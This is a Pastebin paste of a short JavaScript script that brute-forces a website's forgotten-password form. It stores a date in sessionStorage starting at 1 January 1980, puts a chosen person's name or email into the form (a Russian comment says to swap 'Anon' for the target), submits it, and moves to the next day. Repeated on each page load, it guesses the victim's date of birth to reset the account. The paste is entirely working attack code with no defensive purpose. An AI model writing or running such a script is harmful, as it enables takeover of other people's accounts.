Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (sessionStorage.day == undefined) {
- sessionStorage.day = '01';
- }
- if (sessionStorage.month == undefined) {
- sessionStorage.month = '01';
- }
- if (sessionStorage.year == undefined) {
- sessionStorage.year = '1980';
- }
- function incDay() {
- sessionStorage.day++;
- if (sessionStorage.day > 31) {
- sessionStorage.day = 1;
- incMonth();
- }
- if (sessionStorage.day < 10) {
- sessionStorage.day = '0'+sessionStorage.day;
- }
- }
- function incMonth() {
- sessionStorage.month++;
- if (sessionStorage.month > 12) {
- sessionStorage.month = 1;
- incYear();
- }
- if (sessionStorage.month < 10) {
- sessionStorage.month = '0'+sessionStorage.month;
- }
- }
- function incYear() {
- sessionStorage.year++;
- }
- function submitForm(day, month, year) {
- //Тут поменяй anon на нужное имя
- $("#email").val('Anon');
- $("#dateDay").val(day);
- $("#dateMonth").val(month);
- $("#dateYear").val(year);
- document.getElementById("forgotten-password-form").submit();
- }
- submitForm(sessionStorage.day, sessionStorage.month, sessionStorage.year);
- incDay();
Advertisement
Add Comment
Please, Sign In to add comment